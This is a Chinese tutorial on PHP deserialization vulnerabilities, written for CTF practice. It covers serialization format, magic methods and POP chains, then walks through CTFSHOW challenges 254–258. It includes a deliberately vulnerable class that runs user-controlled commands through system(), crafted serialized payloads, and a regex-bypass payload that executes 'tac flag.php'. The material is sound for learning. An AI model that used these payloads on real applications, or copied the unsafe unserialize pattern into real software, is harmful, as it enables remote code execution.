适用于安全学习、CTF刷题与漏洞理解
一、什么是反序列化
1. 基本概念
在程序中,对象不能直接进行传输或存储,因此需要进行格式转换:
| 操作 | 说明 |
|---|---|
| 序列化(Serialization) | 对象 → 字符串 / 数组 |
| 反序列化(Deserialization) | 字符串 → 对象 |
PHP 中常用函数:
php
serialize() // 对象 → 字符串
unserialize() // 字符串 → 对象
2. 通俗理解
| 操作 | 类比 |
|---|---|
| 序列化 | 把人拍成照片 |
| 反序列化 | 根据照片还原人 |
3. 示例代码
php
<?php
class User {
public $name = "xuan";
}
$obj = new User();
// 序列化
$str = serialize($obj);
echo $str;
// 反序列化
$obj2 = unserialize($str);
var_dump($obj2);
?>
输出示例:
O:4:"User":1:{s:4:"name";s:4:"xuan";}
4. 序列化结构解析(重点)
O:4:"User":1:{
s:4:"name";
s:4:"xuan";
}
| 标识 | 含义 |
|---|---|
| O | Object |
| 4 | 类名长度 |
| "User" | 类名 |
| 1 | 属性数量 |
| s | string |
| 4 | 字符串长度 |
👉 该结构是后续漏洞利用的核心基础
二、PHP 魔术方法
1. 什么是魔术方法
特点:
- 自动触发
- 无需手动调用
- 在特定场景执行
2. 分类
(1)对象生命周期
php
__construct() // 创建对象时
__destruct() // 对象销毁时(重点)
(2)序列化相关(重点)
php
__sleep() // serialize() 时触发
__wakeup() // unserialize() 时触发(重点入口)
(3)字符串 / 调用
php
__toString() // 对象转字符串
__invoke() // 对象当函数调用
(4)方法控制
php
__call()
__callStatic()
(5)属性控制
php
__get()
__set()
__isset()
__unset()
3. CTF 常用重点
| 方法 | 作用 |
|---|---|
| __destruct | ⭐ 常见利用点 |
| __wakeup | ⭐ 入口点 |
| __toString | ⭐ 间接触发 |
| __invoke | ⭐ 函数调用 |
三、反序列化漏洞产生原因
1. 核心条件
php
unserialize($_GET['x']);
👉 用户可控数据进入反序列化
2. 危险点
攻击者可以:
- 构造恶意对象
- 控制属性值
- 触发魔术方法
3. 示例漏洞
php
<?php
class B{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
}
unserialize($_GET['x']);
4. 攻击流程
第一步:构造 payload
O:1:"B":1:{s:3:"cmd";s:6:"whoami";}
第二步:发送请求
http://target.com/?x=payload
5. 执行过程
- unserialize() 创建对象
- 脚本结束
- 触发 __destruct()
- 执行命令
php
system("whoami");
6. 本质总结
用户输入 → 控制对象 → 触发魔术方法 → 执行危险函数
四、POP 链(重点)
1. 什么是 POP
POP = Property-Oriented Programming(面向属性编程)
核心思想:
利用属性 + 魔术方法 形成调用链
2. 为什么需要 POP 链
问题:
- 危险函数不在魔术方法中
解决:
- 通过"类之间调用"间接触发
3. POP 链结构
| 位置 | 含义 |
|---|---|
| 起点 | 可控反序列化 |
| 跳板 | 类调用关系 |
| 终点 | system / eval |
4. 类比理解
无法直接调用函数
→ 通过"中间路径"绕过去
类似:
窗户 → 走廊 → 房间 → 开门
五、CTFSHOW 题目分析
1. 254(对象引用)
👉 重点:理解对象之间调用关系
2. 255(变量修改)
php
class ctfShowUser{
public $isVip=true;
}
利用点
b:1 → b:0
👉 修改 VIP 权限(逻辑绕过)
3. 256(参数修改)
php
public $username='xxxx';
public $password='xxxxxx';
利用点
s:6:"xiaodi" → s:5:"admin"
⚠️ 注意:
字符串长度必须一致!
4. 257(对象嵌套)
php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
利用点
控制:
php
$code
最终实现:
php
system("tac flag.php");
5. 258(正则绕过)
php
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
原理
:+11 == 11
👉 PHP 能解析
👉 正则匹配失败
Payload
O:+11:"ctfShowUser":1:{
s:5:"class";
O:+8:"backDoor":1:{
s:4:"code";
s:23:"system('tac flag.php');";
}
}
六、核心总结
1. 漏洞触发条件
- 使用 unserialize()
- 数据用户可控
- 存在魔术方法
2. 利用本质
控制属性 → 触发魔术方法 → 执行代码
3. 常见攻击目标
- system()
- eval()
- 文件操作函数
- SQL 执行函数
结语
反序列化漏洞本质并不复杂,但难点在于:
如何构造调用链(POP链)
建议从简单题逐步过渡到复杂框架(如 Laravel、ThinkPHP)。